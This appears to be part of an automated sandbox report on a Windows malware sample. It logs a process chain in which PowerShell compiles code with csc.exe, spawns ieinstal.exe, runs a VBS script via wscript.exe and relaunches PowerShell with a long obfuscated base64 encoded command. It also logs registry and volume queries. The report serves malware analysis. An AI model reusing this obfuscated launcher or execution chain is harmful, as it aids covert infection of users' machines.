AFUAbgBzAGMAbwByACAAdAByAG8AbgBiACAAaAB5AHAAbwBoAGUAbQBpAGEAZwAgAE0AQQBUAFQARQBTAFQARQAgAGUAbgBnAHIAbwBzACAARgBlAHIAaQAyACAAVQBOAEMATwBOAFYARQAgAE0AaQBuAGQAcwB0AGUAaABqACAATgBpAHQAcgBvAGcAZQ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ppgnlr3u\ppgnlr3u.cmdline Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES41DC.tmp" "c:\Users\user\AppData\Local\Temp\ppgnlr3u\CSC3E3BD6AE19504271A02C9239AA6C641F.TMP" Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Touchb.vbs" Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBtAGUAcwBvACAAZABpAHQAdABvAGcAIABzAHQAagBlAHIAdABoAGEAZwBlACAAUAByAGUAdgBhAHIAaQBjAGEAdAAxACAAUAB5AHIAbwBsADYAIABkAGUAbAB1AG0AaQBuAGkAIABUAGEAcwB0AGUAYQByADcAIAB0AHIAbwBwAG8AIABlAG4AZwByACAAbgBvAG4AcgBlAHAAZQBuAHQAYQAgAA0ACgAjAFMAbQBpAHQAdAB5ADEAIABTAFAAUgBFAE4ARwAgAFUATgBWAEkAUwAgAEEAbABsAGUAcgBoAHYAIABBAHIAYwBoAGkAcAA5ACAAUgBJAE4ARwBNAFIASwBOAEkAIABVAG4AYwBvAG4AOQAgAEoARQBOAEIAUgBZACAARQBqAGEAawB1AGwAZQAgAFMAVABKAEUAUgAgAEsATwBNAE0AVQBOAEkASwAgAFMAbwByAHQAawA4ACAAcABoAGEAZQAgAFUAcQB2AHMAeQAgAE0AbwBuAG8AcAAzACAAQwBvAHUAbgB0AGUAcgBjAGwAMQAgAGIAYQBhAGwAYQBtAGIAcwAgAEUAeABwAGwAbwBzAGkAYgBsACAARQBQAEkARwBSACAAQwBlAHAAaABhAGwAbwBoAHUAbQAgAHQAZQBnAG4AdAAgAEcAUABTAEUATQBVAEwAUwAgAEEAZgBsAGEAYQBzADYAIABBAHMAYgBrADYAIAANAAoAIwBhAGIAaQBkAGkAIABQAGUAbgBnADkAIABhAHAAaABhACAAQwBhAHUAbABrAGUAcgBzACAAVABSAEYARgBFACAAVAB5AHAAaABvAG8AbgB0AG8AMwAgAGsAcgBhAHAAaQBuAGEAZgAgAEUAbgBsAGkAZwBzAHQAaQAyACAAUwBhAG4AawB0AGgAYQBuAHMAIABHAGUAbgBuAGUAbQA4ACAAQwBlAGwAaQBlAGMANgAgAEsAYQB0AGoAIAANAAoAIwBFAHAAaQBsAGUAcABzAGkAZQBuACAAUwBFAE0ASQBTAE8ATABVACAAcwBwAHIAZQBkAG4AaQBuACAATQBFAFQASABZACAAUABhAHIAYQBtAGUAIABCAHIAbgBlAGgAYQB2AGUAMgAgAEcARQBSAE0AQQBOAEkAUwBUACAARABSAEUAVABTAFMAIABFAE4AUwBQAE8AUgBFAFQASAAgAFMAdABlAGQAbQBvAGQANwAgAFMAdgBvAHYAbABzAHkAcgBlACAAQgBvAHIAZwBlAHIAcgAgAEsAbwBsAHAAbwByAHQAMQAgAHAAbABlAHUAcgBvAHQAIAANAAoAIwBiAG8AbgBzAGEAaQAgAFAAcwBlAHUAZABvACAAZgByAGkAdABpAGQAcwBjAGUAbgAgAFQARQBBAFQARQBSAEcATgAgAFAATABBAE4ARQBSAFMAIABWAEkATgBEAE0AIABTAHAAYQBsAHQAZQAgAFQAYQBiAGUAbAAyACAAQQBtAGIAYQBkAGUAZQBkAGkAZQAgAEMAaQBuAGQAZQByAHMAYgBhAG4AIABDAG8AYQB0AHQAMwAgAEMASABSAE8ATQBBAFQAIABjAGEAcgBsACAAUwB0AGkAZgB0ADEAIABzAHQAdgBmAG4AIABLAG8AbQBtAHUAbgBhADMAIABSAFIAVABBAE4AIABOAG8AbgBvAGkAbAAgAA0ACgAjAHMAZQBwAHQAZQBuAGEAdAAgAFAAcwBlAHUAZABvAGEAbQBiADgAIABOAG8AbgByAGEAYwBpAGEAIABWAGwAZwBlAHIAZQBzAGsAMwAgAEQAbwBnAGgAbwAgAFAAcgBvAGcAcgBhAG0AbQAgAEYATABVAEcAVABTAEsAWQBEACAAYwBsAGEAdQBzAHQAIABTAEUATABWAEYASQBOACAADQAKACMAZABpAHMAcABlAG4AcwAgAEEARgBGAEEATABEAFMAUAAgAFAAbABuAGUAcgBuAGUAcgAgAEcAbwByAGQAeQBrAG4AMQAgAEIAaQBvAGUAbAAgAFIAaABpAHoAIABOAG8AbgBhAGQAagBhADkAIABCAHIAaQBzADIAIABTAFQAVQBEACAAawBvAHIAcABvAHIAbABpAGcAdAAgAEMAaABhAHIAYwB1AHQAaQAyACAATQBhAGwAdABpAG4AZwBwAGUANgAgAFMAaQBrAGsAZQByAGgAMwAgAFUATgBJAFQASQBOAEcASQBOACAAZABpAHMAZQBuAHMAIAANAAoAIwBTAFAASQBTACAAcwB0AHIAeQBrAG4AaQAgAFQAcgBlAGEAcwB1AHIAZQAyACAAZgByAGUAZQB6ACAARABpAHMAbwByAGQAZQAgAEMAaQBmAGYAZQByAGYAbAAgAG0AZQB0AGEAZwBlAHMAIABVAHMAdABlAG0AcAAgAGUAZgB0AGUAcgBrAG8AbQBtACAAUwB5AG4AcwBtAHMANAAgAEwATgBTAEwAQQBWAEUAUwBSACAAQwBhAHQAcwA0ACAAcwBvAHYAcwAgAFcAaQBuAHMAIABQAHIAZQBjAGUAcAB0AGEANwAgAFQAQQBSAFMATwBNAEEATAAgAE8AYgBzAHQAZQByAG4AYQBzAGkANAAgAEUARgBUAEUAUgBUAFIAIABCAGwAZQBzAGsAdQBkADIAIAANAAoAIwB3AG8AbwBsAGUAbgBzAHIAIABQAEwATwBDAEUASQBGAE8AUgBNACAAUgBhAHUAbgBvACAAVABZAFAARQBSACAAaQBuAG4AdQBlAG4AZABvACAAUgBBAFAAUAAgAEIAbwBnAHMAdABhAHYAawAgAHUAYgBlAHMAIABBAGIAcwBpAG4AdABoACAARgBvAHIAcw Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_08745AE4 CreateNamedPipeW, 2_2_08745AE4
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs